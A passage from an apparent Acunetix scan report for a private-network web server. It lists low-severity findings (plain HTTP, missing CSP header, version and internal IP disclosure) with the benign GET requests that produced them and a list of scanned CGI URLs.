Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

Web Server	
Alert group	**Unencrypted connection (verified)**
Severity	Low
Description	This scan target was connected to over an unencrypted connection. A potential attacker can intercept and modify data sent and received from this site.
Recommendations	The site should send and receive data over a secure (HTTPS) connection.
Alert variants	
Details	

```
GET / HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

Web Server	
Alert group	**Content Security Policy (CSP) not implemented**
Severity	Informational

Description	Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks.
	
	Content Security Policy (CSP) can be implemented by adding a **Content-Security-Policy** header. The value of this header is a string containing the policy directives describing your Content Security Policy. To implement CSP, you should define lists of allowed origins for the all of the types of resources that your site utilizes. For example, if you have a simple site that needs to load scripts, stylesheets, and images hosted locally, as well as from the jQuery library from their CDN, the CSP header could look like the following:
	
	`Content-Security-Policy:`
	`default-src 'self';`
	`script-src 'self' https://code.jquery.com;`
	
	It was detected that your web application doesn't implement Content Security Policy (CSP) as the CSP header is missing from the response. It's recommended to implement Content Security Policy (CSP) into your web application.

Recommendations	It's recommended to implement Content Security Policy (CSP) into your web application. Configuring Content Security Policy involves adding the **Content-Security-Policy** HTTP header to a web page and giving it values to control resources the user agent is allowed to load for that page.
Alert variants	
Details	

```
GET / HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

Web Server	
Alert group	**Error page web server version disclosure**
Severity	Informational
Description	Application errors or warning messages may disclose sensitive information about an application's internal workings to an attacker. Acunetix found the web server version number and a list of modules enabled on the target server. Consult the 'Attack details' section for more information about the affected page.
Recommendations	Properly configure the web server not to disclose information about an application's internal workings to the user. Consult the 'Web references' section for more information.
Alert variants	
Details	

```
GET /tWpBHLyiTh HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

Web Server	
Alert group	**Possible internal IP address disclosure**
Severity	Informational
Description	A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks. This alert may be a false positive, manual confirmation is required.
Recommendations	Prevent this information from being displayed to the user.
Alert variants	
Details	Pattern found: `192.168.145.151`

```
GET /omBW8iZa2P.jsp HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/cgi-bin/	
Alert group	**Possible internal IP address disclosure**
Severity	Informational
Description	A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks. This alert may be a false positive, manual confirmation is required.
Recommendations	Prevent this information from being displayed to the user.
Alert variants	
Details	Pattern found: `192.168.145.151`

```
GET /cgi-bin/Qd40xr1oyx.jsp HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/tWpBHLyiTh	
Alert group	**Possible internal IP address disclosure**
Severity	Informational
Description	A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks. This alert may be a false positive, manual confirmation is required.
Recommendations	Prevent this information from being displayed to the user.
Alert variants	
Details	Pattern found: `192.168.145.151`

Scanned items (coverage report)

http://192.168.145.151:6656/
http://192.168.145.151:6656/cgi-bin/
http://192.168.145.151:6656/cgi-bin/file.pl
http://192.168.145.151:6656/cgi-bin/forms.pl
http://192.168.145.151:6656/cgi-bin/hello.pl
http://192.168.145.151:6656/tWpBHLyiTh